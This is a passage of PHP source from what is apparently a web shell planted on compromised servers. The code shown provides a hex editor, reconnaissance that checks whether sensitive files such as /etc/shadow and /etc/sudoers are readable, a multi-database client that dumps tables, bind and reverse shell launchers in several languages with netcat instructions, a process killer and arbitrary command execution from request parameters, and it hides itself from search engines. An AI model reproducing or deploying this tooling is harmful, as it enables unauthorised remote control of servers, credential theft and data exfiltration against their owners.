1540 if(fwrite($filez,$bins)!==false) $fcs = "File saved @ ".$time;
1541 else $fcs = "Failed to save";
1542 fclose($filez);
1543 }
1544 else $fcs = "Permission denied";
1545 }
1546 else if(is_file($f) && !is_writable($f)) $fcs = "This file is not writable";
1547
1548 if(!empty($fcs)) $s_result .= "<p class='notif'>".$fcs."</p>";
1549 $s_result .= "<form action='".$s_self."' method='post'>
1550 <p style='padding:0;text-align:center;'><input type='text' class='inputz' style='width:99%;' name='hexedit' value='".$f."' /></p>
1551 <p style='padding:0 0 14px 0;border-bottom:1px solid #393939;'><input type='submit' name='fcsubmit' class='inputzbut' value='Save !' style='width:120px;height:30px;' onclick=\"return submithex();\" /></p>
1552 <table class='explore'>
1553 ";
1554 if(is_file($f)){
1555 $fp = fopen($f,"r");
1556 if($fp) {
1557 $ldump = "";
1558 $counter = 0;
1559 $icounter = 0;
1560 while(!feof($fp)){
1561 $line = fread($fp, 32);
1562 $linedump = preg_replace('/[^\x21-\x7E]/','.', $line);
1563 $linehex = strtoupper(bin2hex($line));
1564 $linex = str_split($linehex,2);
1565 $linehex = implode(" ", $linex);
1566 $addr = sprintf("%08xh",$icounter);
1567
1568 $s_result .= "<tr><td style='text-align:center;width:60px;'>".$addr."</td><td style='text-align:left;width:580px;'>
1569 <input onclick=\"hexupdate('".$counter."',event);\" onkeydown=\"return hexfix('".$counter."',event);\" onkeyup=\"hexupdate('".$counter."',event);\" type='text' class='inputz' id='hex_".$counter."' name='hexes[]' value='".$linehex."' style='width:570px;' maxlength='".strlen($linehex)."' /></td>
1570 <td style='text-align:left;letter-spacing:2px;' name='hexdump' id='dump_".$counter."'>".hss($linedump)."</td></tr>";
1571 $counter++;
1572 $icounter+=32;
1573 }
1574 $s_result .= "<input type='hidden' id='counter' value='".$counter."' />";
1575 $s_result .= "<textarea name='hexestxtarea' id='hexestxtarea' class='sembunyi'></textarea>";
1576 fclose($fp);
1577 }
1578 }
1579 $s_result .= "</table></form>";
1580
1581 }// show server information
1582 elseif(isset($_REQUEST['info'])){
1583 $s_result = "";
1584 // server misc info
1585 $s_result .= "<p class='notif' onclick=\"toggle('info_server')\">Server Info</p>";
1586 $s_result .= "<div class='info' id='info_server'><table>";
1587
1588 if($s_win){
1589 foreach (range("A","Z") as $letter){
1590 if((is_dir($letter.":\\") && is_readable($letter.":\\"))){
1591 $drive = $letter.":";
1592 $s_result .= "<tr><td>drive ".$drive."</td><td>".ts(disk_free_space($drive))." free of ".ts(disk_total_space($drive))."</td></tr>";
1593 }
1594 }
1595 }
1596 else $s_result .= "<tr><td>root partition</td><td>".ts(disk_free_space("/"))." free of ".ts(disk_total_space("/"))."</td></tr>";
1597
1598 $s_result .= "<tr><td>php</td><td>".phpversion()."</td></tr>";
1599 if($s_python) $s_result .= "<tr><td>python</td><td>".exe("python -V")."</td></tr>";
1600 if($s_perl) $s_result .= "<tr><td>perl</td><td>".exe("perl -e \"print \$]\"")."</td></tr>";
1601 if($s_ruby) $s_result .= "<tr><td>ruby</td><td>".exe("ruby -v")."</td></tr>";
1602 if($s_gcc){
1603 $gcc_version = exe("gcc --version");
1604 $gcc_ver = explode("\n",$gcc_version);
1605 if(count($gcc_ver)>0) $gcc_ver = $gcc_ver[0];
1606 $s_result .= "<tr><td>gcc</td><td>".$gcc_ver."</td></tr>";
1607 }
1608 if($s_java) $s_result .= "<tr><td>java</td><td>".str_replace("\n", ", ", exe("java -version"))."</td></tr>";
1609
1610 $interesting = array(
1611 "/etc/passwd", "/etc/shadow", "/etc/group", "/etc/issue", "/etc/motd", "/etc/sudoers", "/etc/hosts", "/etc/aliases", "/etc/resolv.conf", "/etc/sysctl.conf",
1612 "/etc/named.conf", "/etc/network/interfaces", "/etc/squid/squid.conf", "/usr/local/squid/etc/squid.conf",
1613 "/etc/ssh/sshd_config",
1614 "/etc/httpd/conf/httpd.conf", "/usr/local/apache2/conf/httpd.conf"," /etc/apache2/apache2.conf", "/etc/apache2/httpd.conf", "/usr/pkg/etc/httpd/httpd.conf", "/usr/local/etc/apache22/httpd.conf", "/usr/local/etc/apache2/httpd.conf", "/var/www/conf/httpd.conf", "/etc/apache2/httpd2.conf", "/etc/httpd/httpd.conf",
1615 "/etc/lighttpd/lighttpd.conf", "/etc/nginx/nginx.conf",
1616 "/etc/fstab", "/etc/mtab", "/etc/crontab", "/etc/inittab", "/etc/modules.conf", "/etc/modules");
1617 foreach($interesting as $f){
1618 if(is_file($f) && is_readable($f))
1619 $s_result .= "<tr><td>".$f."</td><td><a href='".$s_self."view=".$f."'>".$f." is readable</a></td></tr>";
1620 }
1621
1622
1623 $s_result .= "</table></div>";
1624
1625 if(!$s_win){
1626 // cpu info
1627 if($i_buff=trim(@file_get_contents("/proc/cpuinfo"))){
1628 $s_result .= "<p class='notif' onclick=\"toggle('info_cpu')\">CPU Info</p>";
1629 $s_result .= "<div class='info' id='info_cpu'>";
1630 $i_buffs = explode("\n\n", $i_buff);
1631 foreach($i_buffs as $i_buffss){
1632 $i_buffss = trim($i_buffss);
1633 if($i_buffss!=""){
1634 $i_buffsss = explode("\n",$i_buffss);
1635 $s_result .= "<table>";
1636 foreach($i_buffsss as $i){
1637 $i = trim($i);
1638 if($i!=""){
1639 $ii = explode(":",$i);
1640 if(count($ii)==2) $s_result .= "<tr><td>".$ii[0]."</td><td>".$ii[1]."</td></tr>";
1641 }
1642 }
1643 $s_result .= "</table>";
1644 }
1645 }
1646 $s_result .= "</div>";
1647 }
1648 // mem info
1649 if($i_buff=trim(@file_get_contents("/proc/meminfo"))){
1650 $s_result .= "<p class='notif' onclick=\"toggle('info_mem')\">Memory Info</p>";
1651 $i_buffs = explode("\n",$i_buff);
1652 $s_result .= "<div class='info' id='info_mem'><table>";
1653 foreach($i_buffs as $i){
1654 $i = trim($i);
1655 if($i!=""){
1656 $ii = explode(":",$i);
1657 if(count($ii)==2) $s_result .= "<tr><td>".$ii[0]."</td><td>".$ii[1]."</td></tr>";
1658 }
1659 else $s_result .= "</table><table>";
1660 }
1661 $s_result .= "</table></div>";
1662 }
1663 // partition
1664 if($i_buff=trim(@file_get_contents("/proc/partitions"))){
1665 $i_buff = preg_replace("/\ +/"," ",$i_buff);
1666 $s_result .= "<p class='notif' onclick=\"toggle('info_part')\">Partitions Info</p>";
1667 $s_result .= "<div class='info' id='info_part'>";
1668 $i_buffs = explode("\n\n", $i_buff);
1669 $s_result .= "<table><tr>";
1670 $i_head = explode(" ",$i_buffs[0]);
1671 foreach($i_head as $h) $s_result .= "<th>".$h."</th>";
1672 $s_result .= "</tr>";
1673 $i_buffss = explode("\n", $i_buffs[1]);
1674 foreach($i_buffss as $i_b){
1675 $i_row = explode(" ",trim($i_b));
1676 $s_result .= "<tr>";
1677 foreach($i_row as $r) $s_result .= "<td style='text-align:center;'>".$r."</td>";
1678 $s_result .= "</tr>";
1679 }
1680 $s_result .= "</table>";
1681 $s_result .= "</div>";
1682 }
1683 }
1684 $phpinfo = array(
1685 "PHP General" => INFO_GENERAL,
1686 "PHP Configuration" => INFO_CONFIGURATION,
1687 "PHP Modules" => INFO_MODULES,
1688 "PHP Environment" => INFO_ENVIRONMENT,
1689 "PHP Variables" => INFO_VARIABLES
1690 );
1691 foreach($phpinfo as $p=>$i){
1692 $s_result .= "<p class='notif' onclick=\"toggle('".$i."')\">".$p."</p>";
1693 ob_start();
1694 eval("phpinfo(".$i.");");
1695 $b = ob_get_contents();
1696 ob_end_clean();
1697 $a = strpos($b,"<body>")+6;
1698 $z = strpos($b,"</body>");
1699 $body = substr($b,$a,$z-$a);
1700 $body = str_replace(",",", ",$body);
1701 $body = str_replace("&","&",$body);
1702 $body = str_replace(";","; ",$body);
1703 $s_result .= "<div class='info' id='".$i."'>".$body."</div>";
1704 }
1705 } // working with database
1706 elseif(isset($_REQUEST['db'])){
1707 // sqltype : mysql, mssql, oracle, pgsql, odbc, pdo
1708 $sqlhost = isset($_REQUEST['sqlhost'])? ssc($_REQUEST['sqlhost']) : "";
1709 $sqlport = isset($_REQUEST['sqlport'])? ssc($_REQUEST['sqlport']) : "";
1710 $sqluser = isset($_REQUEST['sqluser'])? ssc($_REQUEST['sqluser']) : "";
1711 $sqlpass = isset($_REQUEST['sqlpass'])? ssc($_REQUEST['sqlpass']) : "";
1712 $sqltype = isset($_REQUEST['sqltype'])? ssc($_REQUEST['sqltype']) : "";
1713 $show_form = true;
1714 $show_dbs = true;
1715
1716 if(isset($_REQUEST['connect'])){
1717 $con = sql_connect($sqltype,$sqlhost,$sqluser,$sqlpass);
1718 $sqlcode = isset($_REQUEST['sqlcode']) ? ssc($_REQUEST['sqlcode']) : "";
1719
1720 if($con!==false){
1721 $show_form = false;
1722 $s_result .= "<form action='".$s_self."db' method='post'>
1723 <input type='hidden' name='sqlhost' value='".$sqlhost."' />
1724 <input type='hidden' name='sqlport' value='".$sqlport."' />
1725 <input type='hidden' name='sqluser' value='".$sqluser."' />
1726 <input type='hidden' name='sqlpass' value='".$sqlpass."' />
1727 <input type='hidden' name='sqltype' value='".$sqltype."' />
1728 <input type='hidden' name='connect' value='connect' />
1729 <textarea id='sqlcode' name='sqlcode' class='txtarea' style='height:150px;'>".$sqlcode."</textarea>
1730 <p><input type='submit' name='gogo' class='inputzbut' value='Go !' style='width:120px;height:30px;' />
1731 Separate multiple commands with a semicolon <span class='gaya'>[</span> ; <span class='gaya'>]</span></p>
1732 </form>";
1733
1734 if(!empty($sqlcode)){
1735 $querys = explode(";",$sqlcode);
1736 foreach($querys as $query){
1737 if(trim($query) != ""){
1738 $hasil = sql_query($sqltype,$query,$con);
1739 if($hasil!=false){
1740 $s_result .= "<p style='padding:0;margin:6px 10px;font-weight:bold;'>".$query.";
1741 <span class='gaya'>[</span> ok <span class='gaya'>]</span></p>
1742 <table class='explore sortable' style='width:100%;'><tr>";
1743 for($i=0;$i<sql_num_fields($sqltype,$hasil);$i++)
1744 $s_result .= "<th>".@hss(sql_field_name($sqltype,$hasil,$i))."</th>";
1745 $s_result .= "</tr>";
1746 while($rows=sql_fetch_data($sqltype,$hasil)){
1747 $s_result .= "<tr>";
1748 foreach($rows as $r){
1749 if(empty($r)) $r = " ";
1750 $s_result .= "<td>".@hss($r)."</td>";
1751 }
1752 $s_result .= "</tr>";
1753 }
1754 $s_result .= "</table>";
1755 }
1756 else{
1757 $s_result .= "<p style='padding:0;margin:6px 10px;font-weight:bold;'>".$query.";
1758 <span class='gaya'>[</span> error <span class='gaya'>]</span></p>";
1759 }
1760 }
1761 }
1762 }
1763 else{
1764 if(($sqltype!='pdo') && ($sqltype!='odbc')){
1765 if($sqltype=='mysql') $showdb = "SHOW DATABASES";
1766 elseif($sqltype=='mssql') $showdb = "SELECT name FROM master..sysdatabases";
1767 elseif($sqltype=='pgsql') $showdb = "SELECT schema_name FROM information_schema.schemata";
1768 elseif($sqltype=='oracle') $showdb = "SELECT USERNAME FROM SYS.ALL_USERS ORDER BY USERNAME";
1769 elseif($sqltype=='sqlite3' || $sqltype=='sqlite') $showdb = "SELECT \"".$sqlhost."\"";
1770 else $showdb = "SHOW DATABASES";
1771
1772 $hasil = sql_query($sqltype,$showdb,$con);
1773
1774 if($hasil!=false) {
1775 while($rows_arr=sql_fetch_data($sqltype,$hasil)){
1776 foreach($rows_arr as $rows){
1777 $s_result .= "<p class='notif' onclick=\"toggle('db_".$rows."')\">".$rows."</p>";
1778 $s_result .= "<div class='info' id='db_".$rows."'><table class='explore'>";
1779
1780 if($sqltype=='mysql') $showtbl = "SHOW TABLES FROM ".$rows;
1781 elseif($sqltype=='mssql') $showtbl = "SELECT name FROM ".$rows."..sysobjects WHERE xtype = 'U'";
1782 elseif($sqltype=='pgsql') $showtbl = "SELECT table_name FROM information_schema.tables WHERE table_schema='".$rows."'";
1783 elseif($sqltype=='oracle') $showtbl = "SELECT TABLE_NAME FROM SYS.ALL_TABLES WHERE OWNER='".$rows."'";
1784 elseif($sqltype=='sqlite3' || $sqltype=='sqlite') $showtbl = "SELECT name FROM sqlite_master WHERE type='table'";
1785 else $showtbl = "";
1786
1787 $hasil_t = sql_query($sqltype,$showtbl,$con);
1788 if($hasil_t!=false) {
1789 while($tables_arr=sql_fetch_data($sqltype,$hasil_t)){
1790 foreach($tables_arr as $tables){
1791 if($sqltype=='mysql') $dump_tbl = "SELECT * FROM ".$rows.".".$tables." LIMIT 0,100";
1792 elseif($sqltype=='mssql') $dump_tbl = "SELECT TOP 100 * FROM ".$rows."..".$tables;
1793 elseif($sqltype=='pgsql') $dump_tbl = "SELECT * FROM ".$rows.".".$tables." LIMIT 100 OFFSET 0";
1794 elseif($sqltype=='oracle') $dump_tbl = "SELECT * FROM ".$rows.".".$tables." WHERE ROWNUM BETWEEN 0 AND 100;";
1795 elseif($sqltype=='sqlite' || $sqltype=='sqlite3') $dump_tbl = "SELECT * FROM ".$tables." LIMIT 0,100";
1796 else $dump_tbl = "";
1797
1798 $dump_tbl_link = $s_self."db&connect=&sqlhost=".$sqlhost."&sqlport=".$sqlport."&sqluser=".$sqluser."&sqlpass=".$sqlpass."&sqltype=".$sqltype."&sqlcode=".urlencode($dump_tbl);
1799
1800 $s_result .= "<tr><td onmouseup=\"return go('".addslashes($dump_tbl_link)."',event);\"><a target='_blank' href='".$dump_tbl_link."'>".$tables."</a></td></tr>";
1801 }
1802 }
1803 }
1804 $s_result .= "</table></div>";
1805 }
1806 }
1807 }
1808 }
1809 }
1810 sql_close($sqltype,$con);
1811 }
1812 else{
1813 $s_result .= "<p class='notif'>Unable to connect to database</p>";
1814 $show_form = true;
1815 }
1816 }
1817
1818 if($show_form){
1819 // sqltype : mysql, mssql, oracle, pgsql, sqlite, sqlite3, odbc, pdo
1820 $sqllist = array();
1821 if(function_exists("mysql_connect")) $sqllist["mysql"] = "connect to MySQL <span style=\"font-size:12px;color:#999;\">- using mysql_*</span>";
1822 if(function_exists("mssql_connect") || function_exists("sqlsrv_connect")) $sqllist["mssql"] = "connect to MsSQL <span style=\"font-size:12px;color:#999;\">- using mssql_* or sqlsrv_*</span>";
1823 if(function_exists("pg_connect")) $sqllist["pgsql"] = "connect to PostgreSQL <span style=\"font-size:12px;color:#999;\">- using pg_*</span>";
1824 if(function_exists("oci_connect")) $sqllist["oracle"] = "connect to oracle <span style=\"font-size:12px;color:#999;\">- using oci_*</span>";
1825 if(function_exists("sqlite_open")) $sqllist["sqlite"] = "connect to SQLite <span style=\"font-size:12px;color:#999;\">- using sqlite_*</span>";
1826 if(class_exists("SQLite3")) $sqllist["sqlite3"] = "connect to SQLite3 <span style=\"font-size:12px;color:#999;\">- using class SQLite3</span>";
1827 if(function_exists("odbc_connect")) $sqllist["odbc"] = "connect via ODBC <span style=\"font-size:12px;color:#999;\">- using odbc_*</span>";
1828 if(class_exists("PDO")) $sqllist["pdo"] = "connect via PDO <span style=\"font-size:12px;color:#999;\">- using class PDO</span>";
1829
1830 foreach($sqllist as $sqltype=>$sqltitle){
1831 if($sqltype=="odbc" || $sqltype=="pdo"){
1832 $s_result .= "<div class='mybox'><h2>".$sqltitle."</h2>
1833 <form action='".$s_self."db' method='post' />
1834 <table class='myboxtbl'>
1835 <tr><td style='width:170px;'>DSN / Connection String</td><td><input style='width:100%;' class='inputz' type='text' name='sqlhost' value='' /></td></tr>
1836 <tr><td>Username</td><td><input style='width:100%;' class='inputz' type='text' name='sqluser' value='' /></td></tr>
1837 <tr><td>Password</td><td><input style='width:100%;' class='inputz' type='password' name='sqlpass' value='' /></td></tr>
1838 </table>
1839 <input type='submit' name='connect' class='inputzbut' value='Connect !' style='width:120px;height:30px;margin:10px 2px 0 2px;' />
1840 <input type='hidden' name='sqltype' value='".$sqltype."' />
1841 </form>
1842 </div>";
1843 }
1844 elseif($sqltype=="sqlite" || $sqltype=="sqlite3"){
1845 $s_result .= "<div class='mybox'><h2>".$sqltitle."</h2>
1846 <form action='".$s_self."db' method='post' />
1847 <table class='myboxtbl'>
1848 <tr><td style='width:170px;'>DB File</td><td><input style='width:100%;' class='inputz' type='text' name='sqlhost' value='' /></td></tr>
1849 </table>
1850 <input type='submit' name='connect' class='inputzbut' value='Connect !' style='width:120px;height:30px;margin:10px 2px 0 2px;' />
1851 <input type='hidden' name='sqltype' value='".$sqltype."' />
1852 </form>
1853 </div>";
1854 }
1855 else{
1856 $s_result .= "<div class='mybox'><h2>".$sqltitle."</h2>
1857 <form action='".$s_self."db' method='post' />
1858 <table class='myboxtbl'>
1859 <tr><td style='width:170px;'>Host</td><td><input style='width:100%;' class='inputz' type='text' name='sqlhost' value='' /></td></tr>
1860 <tr><td>Username</td><td><input style='width:100%;' class='inputz' type='text' name='sqluser' value='' /></td></tr>
1861 <tr><td>Password</td><td><input style='width:100%;' class='inputz' type='password' name='sqlpass' value='' /></td></tr>
1862 <tr><td>Port (optional)</td><td><input style='width:100%;' class='inputz' type='text' name='sqlport' value='' /></td></tr>
1863 </table>
1864 <input type='submit' name='connect' class='inputzbut' value='Connect !' style='width:120px;height:30px;margin:10px 2px 0 2px;' />
1865 <input type='hidden' name='sqltype' value='".$sqltype."' />
1866 </form>
1867 </div>";
1868 }
1869 }
1870
1871 }
1872 } // bind and reverse shell
1873 elseif(isset($_REQUEST['rs'])){
1874 //$s_server_ip = gethostbyname($_SERVER["HTTP_HOST"]);
1875 //$s_my_ip = $_SERVER['REMOTE_ADDR'];
1876 $rshost = $s_server_ip;
1877
1878 $rsport = "13123";
1879 // resources $rs_pl $rs_py $rs_rb $rs_c $rs_win
1880 $rspesana = "Press ' Go ! ' button and run ' nc <i>server_ip</i> <i>port</i> ' on your computer";
1881 $rspesanb = "Run ' nc -l -v -p <i>port</i> ' on your computer and press ' Go ! ' button";
1882
1883 //bind_pl bind_py bind_rb bind_c bind_win bind_php back_pl back_py back_rb back_c back_win back_php
1884 // resources $rs_pl $rs_py $rs_rb $rs_c $rs_win $rs_php
1885 $rsbind = array();
1886 $rsback = array();
1887
1888
1889 $rsbind["bind_php"] = "Bind Shell <span style='font-size:12px;color:#999;'>- php</span>";
1890 $rsback["back_php"] = "Reverse Shell <span style='font-size:12px;color:#999;'>- php</span>";
1891
1892 if($s_perl){
1893 $rsbind["bind_pl"] = "Bind Shell <span style='font-size:12px;color:#999;'>- perl</span>";
1894 $rsback["back_pl"] = "Reverse Shell <span style='font-size:12px;color:#999;'>- perl</span>";
1895 }
1896 if($s_python){
1897 $rsbind["bind_py"] = "Bind Shell <span style='font-size:12px;color:#999;'>- python</span>";
1898 $rsback["back_py"] = "Reverse Shell <span style='font-size:12px;color:#999;'>- python</span>";
1899 }
1900 if($s_ruby){
1901 $rsbind["bind_rb"] = "Bind Shell <span style='font-size:12px;color:#999;'>- ruby</span>";
1902 $rsback["back_rb"] = "Reverse Shell <span style='font-size:12px;color:#999;'>- ruby</span>";
1903 }
1904 if($s_win){
1905 $rsbind["bind_win"] = "Bind Shell <span style='font-size:12px;color:#999;'>- windows executable</span>";
1906 $rsback["back_win"] = "Reverse Shell <span style='font-size:12px;color:#999;'>- windows executable</span>";
1907 }
1908 else{
1909 $rsbind["bind_c"] = "Bind Shell <span style='font-size:12px;color:#999;'>- c</span>";
1910 $rsback["back_c"] = "Reverse Shell <span style='font-size:12px;color:#999;'>- c</span>";
1911 }
1912
1913 $rslist = array_merge($rsbind,$rsback);
1914
1915 if(!is_writable($cwd)) $s_result .= "<p class='notif'>Directory ".$cwd." is not writable, please change to a writable one</p>";
1916 $rs_err = "";
1917 foreach($rslist as $rstype=>$rstitle){
1918 $split = explode("_",$rstype);
1919 if($split[0]=="bind"){
1920 $rspesan = $rspesana;
1921 $rsdisabled = "disabled='disabled'";
1922 $rstarget = $s_server_ip;
1923 $labelip = "Server IP";
1924 }
1925 elseif($split[0]=="back"){
1926 $rspesan = $rspesanb;
1927 $rsdisabled = "";
1928 $rstarget = $s_my_ip;
1929 $labelip = "Target IP";
1930 }
1931 if(isset($_REQUEST[$rstype])){
1932 if(isset($_REQUEST["rshost_".$rstype])) $rshost_ = ss($_REQUEST["rshost_".$rstype]);
1933 if(isset($_REQUEST["rsport_".$rstype])) $rsport_ = ss($_REQUEST["rsport_".$rstype]);
1934
1935 if($split[0]=="bind") $rstarget_packed = $rsport_;
1936 elseif($split[0]=="back") $rstarget_packed = $rsport_." ".$rshost_;
1937
1938 if($split[1]=="pl") $rscode = $rs_pl;
1939 elseif($split[1]=="py") $rscode = $rs_py;
1940 elseif($split[1]=="rb") $rscode = $rs_rb;
1941 elseif($split[1]=="c") $rscode = $rs_c;
1942 elseif($split[1]=="win") $rscode = $rs_win;
1943 elseif($split[1]=="php") $rscode = $rs_php;;
1944 $buff = rs($rstype,$rstarget_packed,$rscode);
1945 if($buff!="") $rs_err = "<p class='notif'>".hss($buff)."</p>";
1946 }
1947 $s_result .= "<div class='mybox'><h2>".$rstitle."</h2>
1948 <form action='".$s_self."rs' method='post' />
1949 <table class='myboxtbl'>
1950 <tr><td style='width:100px;'>".$labelip."</td><td><input ".$rsdisabled." style='width:100%;' class='inputz' type='text' name='rshost_".$rstype."' value='".$rstarget."' /></td></tr>
1951 <tr><td>Port</td><td><input style='width:100%;' class='inputz' type='text' name='rsport_".$rstype."' value='".$rsport."' /></td></tr>
1952 </table>
1953 <input type='submit' name='".$rstype."' class='inputzbut' value='Go !' style='width:120px;height:30px;margin:10px 2px 0 2px;' />
1954 <span>".$rspesan."</span>
1955 </form>
1956 </div>";
1957 }
1958 $s_result = $rs_err.$s_result;
1959 } // task manager
1960 elseif(isset($_REQUEST['ps'])){
1961 $buff = "";
1962 // kill process specified by pid
1963 if(isset($_REQUEST['pid'])){
1964 $p = ss($_REQUEST['pid']);
1965 if(function_exists("posix_kill")) $buff = (posix_kill($p,'9'))? "Process with pid ".$p." has been successfully killed":"Unable to kill process with pid ".$p;
1966 else{
1967 if(!$s_win) $buff = exe("kill -9 ".$p);
1968 else $buff = exe("taskkill /F /PID ".$p);
1969 }
1970 }
1971
1972 if(!$s_win) $h = "ps aux";
1973 else $h = "tasklist /V /FO csv";
1974 $wcount = 11;
1975 $wexplode = " ";
1976 if($s_win) $wexplode = "\",\"";
1977
1978 $res = exe($h);
1979 if(trim($res)=='') $s_result = "<p class='notif'>Error getting process list</p>";
1980 else{
1981 if($buff!="") $s_result = "<p class='notif'>".$buff."</p>";
1982 $s_result .= "<table class='explore sortable'>";
1983 if(!$s_win) $res = preg_replace('#\ +#',' ',$res);
1984
1985 $psarr = explode("\n",$res);
1986 $fi = true;
1987 $tblcount = 0;
1988
1989 $check = explode($wexplode,$psarr[0]);
1990 $wcount = count($check);
1991
1992 foreach($psarr as $psa){
1993 if(trim($psa)!=''){
1994 if($fi){
1995 $fi = false;
1996 $psln = explode($wexplode,$psa,$wcount);
1997 $s_result .= "<tr><th class='sorttable_nosort'>action</th>";
1998 foreach($psln as $p) $s_result .= "<th>".trim(trim(strtolower($p)),"\"")."</th>";
1999 $s_result .= "</tr>";
2000 }
2001 else{
2002 $psln = explode($wexplode,$psa,$wcount);
2003 $s_result .= "<tr>";
2004 $tblcount = 0;
2005 foreach($psln as $p){
2006 if(trim($p)=="") $p = " ";
2007 if($tblcount == 0){
2008 $s_result .= "<td style='text-align:center;'><a href='".$s_self."ps&pid=".trim(trim($psln[1]),"\"")."'>kill</a></td>
2009 <td style='text-align:center;'>".trim(trim($p),"\"")."</td>";
2010 $tblcount++;
2011 }
2012 else{
2013 $tblcount++;
2014 if($tblcount == count($psln)) $s_result .= "<td style='text-align:left;'>".trim(trim($p),"\"")."</td>";
2015 else $s_result .= "<td style='text-align:center;'>".trim(trim($p),"\"")."</td>";
2016 }
2017 }
2018 $s_result .= "</tr>";
2019 }
2020 }
2021 }
2022 $s_result .= "</table>";
2023 }
2024 }
2025 else{
2026 if(isset($_REQUEST['cmd'])){
2027 $cmd = ss($_REQUEST['cmd']);
2028 if(strlen($cmd) > 0){
2029 if(preg_match('#^cd(\ )+(.*)$#',$cmd,$r)){
2030 $nd = trim($r[2]);
2031 if(is_dir($nd)){
2032 chdir($nd);
2033 $cwd = cp(getcwd());
2034 $s_result .= showdir($cwd);
2035 }
2036 elseif(is_dir($cwd.$nd)){
2037 chdir($cwd.$nd);
2038 $cwd = cp(getcwd());
2039 $s_result .= showdir($cwd);
2040 }
2041 else $s_result .= "<p class='notif'>".$nd." is not a directory"."</p>";
2042 }
2043 else{
2044 $s_r = hss(exe($cmd));
2045 if($s_r != '') $s_result .= "<pre>".$s_r."</pre>";
2046 else $s_result .= showdir($cwd);
2047 }
2048 }
2049 else $s_result .= showdir($cwd);
2050 }
2051 else{
2052 $s_result .= showdir($cwd);
2053 }
2054 }
2055
2056 // print useful info
2057 $s_info = "<table class='headtbl'><tr><td>".$s_system."</td></tr>";
2058 $s_info .= "<tr><td>".$s_software."</td></tr>";
2059 $s_info .= "<tr><td>server ip : ".$s_server_ip."<span class='gaya'> | </span>your ip : ".$s_my_ip;
2060 $s_info .= "<span class='gaya'> | </span> Time @ Server : ".@date("d M Y H:i:s",time());
2061 $s_info .= "
2062 </td></tr>
2063 <tr><td style='text-align:left;'>
2064 <table class='headtbls'><tr>
2065 <td>".trim($letters)."</td>
2066 <td>
2067 <span id='chpwd'>
2068 <a href=\"javascript:tukar('chpwd','chpwdform')\">
2069 <img height='16px' width='16px' src='".$s_self."favicon' alt='Change' style='vertical-align:middle;margin:6px 0;border:0;' />
2070 </a>".swd($cwd)."</span>
2071 <form action='".$s_self."' method='post' style='margin:0;padding:0;'>
2072 <span class='sembunyi' id='chpwdform'>
2073 <a href=\"javascript:tukar('chpwdform','chpwd');\">
2074 <img height='16px' width='16px' src='".$s_self."favicon' alt='Change' style='vertical-align:middle;margin:6px 0;border:0;' />
2075 </a>
2076 <input type='hidden' name='cd' class='inputz' style='width:300px;' value='".cp($cwd)."' />
2077 <input type='text' name='view' class='inputz' style='width:300px;' value='".$cwd."' />
2078 <input class='inputzbut' type='submit' name='submit' value='view file / folder' />
2079 </form>
2080 </span>
2081 </td></tr>
2082 </table>
2083 </td></tr>
2084 </table>";
2085
2086
2087
2088}
2089
2090?><!DOCTYPE html>
2091<html>
2092<head>
2093<title><?php echo $s_title; ?></title>
2094<meta name='robots' content='noindex, nofollow, noarchive'>
2095<link rel='SHORTCUT ICON' href='<?php echo $s_self; ?>favicon'>
2096<link href='http://fonts.googleapis.com/css?family=Ubuntu+Mono' rel='stylesheet' type='text/css'>
2097<style type='text/css'><?php echo gzinflate(base64_decode($style)); ?></style>
2098<script type='text/javascript' src='<?php echo $s_self; ?>sorttable'></script>
2099<script type='text/javascript'>
2100var d = document;
2101var hexstatus = false;
2102window.onload=function(){
2103 init();
2104 var textareas = d.getElementsByTagName('textarea');
2105 var count = textareas.length;
2106 for(i=0;i<count;i++){
2107 textareas[i].onkeydown = function(e){
2108 if(e.keyCode==9){
2109 e.preventDefault();
2110 var s = this.selectionStart;
2111 this.value = this.value.substring(0,this.selectionStart) + "\t" + this.value.substring(this.selectionEnd);
2112 this.selectionEnd = s+1;
2113 }
2114 else if((e.keyCode == 10 || e.keyCode == 13) && event.ctrlKey){
2115 this.form.submit();
2116 }
2117 }
2118 }
2119}
2120function init(){
2121 <?php if(isset($_REQUEST['cmd'])) echo "if(d.getElementById('cmd')) d.getElementById('cmd').focus();"; ?>
2122 <?php if(isset($_REQUEST['evalcode'])) echo "if(d.getElementById('evalcode')) d.getElementById('evalcode').focus();"; ?>
2123 <?php if(isset($_REQUEST['sqlcode'])) echo "if(d.getElementById('sqlcode')) d.getElementById('sqlcode').focus();"; ?>
2124 <?php if(isset($_REQUEST['login'])) echo "if(d.getElementById('login')) d.getElementById('login').focus();"; ?>
2125}
2126function tukar(l,b){
2127 if(d.getElementById(l)) d.getElementById(l).style.display = 'none';
2128 if(d.getElementById(b)) d.getElementById(b).style.display = 'block';
2129 if(d.getElementById(l + '_')) d.getElementById(l + '_').focus();
2130}
2131function toggle(b){
2132 if(d.getElementById(b)){
2133 if(d.getElementById(b).style.display == 'block') d.getElementById(b).style.display = 'none';
2134 else d.getElementById(b).style.display = 'block'
2135 }
2136}
2137function clickcmd(){
2138 var buff = d.getElementById('cmd');
2139 if(buff.value == '- shell command -') buff.value = '';
2140}
2141function download(what){
2142 what.form.submit();
2143 what.selectedIndex=0;
2144}
2145function go(t,evt){
2146 if(evt.which === 3 || evt.button === 2) return false;
2147 var u = (d.all) ? d.selection.createRange().text : d.getSelection();
2148 if(u && u.toString().length==0) window.location=t;
2149 return false;
2150}
2151function hexfix(t,ev){
2152 var r = d.getElementById('hex_'+t);
2153 var q = d.getElementById('dump_'+t);
2154 var curpos = getcurpos(r);
2155
2156 if(ev.keyCode==13 || ev.keyCode==46 || ev.keyCode==8 || ev.keyCode==32) return false;
2157 //down
2158 if(ev.keyCode==40){
2159 var s = d.getElementById('hex_'+(parseInt(t)+1));
2160 if(s){clearpos();s.focus();setcurpos(s,curpos,curpos);}
2161 return false;
2162 }//up
2163 if(ev.keyCode==38){
2164 var s = d.getElementById('hex_'+(parseInt(t)-1));
2165 if(s){clearpos();s.focus();setcurpos(s,curpos,curpos);}
2166 return false;
2167 }
2168}
2169function hexupdate(t,ev){
2170 var r = d.getElementById('hex_'+t);
2171 var s = d.getElementById('dump_'+t);
2172 var k = String.fromCharCode(ev.keyCode);
2173 var a = '0123456789ABCDEF';
2174 var hexs = r.value;
2175 var hex = hexs.replace(/\s+/ig,'');
2176 var curpos = getcurpos(r);
2177
2178 clearpos();
2179 if(curpos%3!=2){
2180 if(a.indexOf(k)>=0 && curpos<hexs.length){
2181 chr = hexs.substr(curpos,1);
2182 before = (curpos>=1)? hexs.substr(0,curpos):'';
2183 after = (curpos<hexs.length)? hexs.substr(curpos+1):'';
2184 r.value = before + k + after;
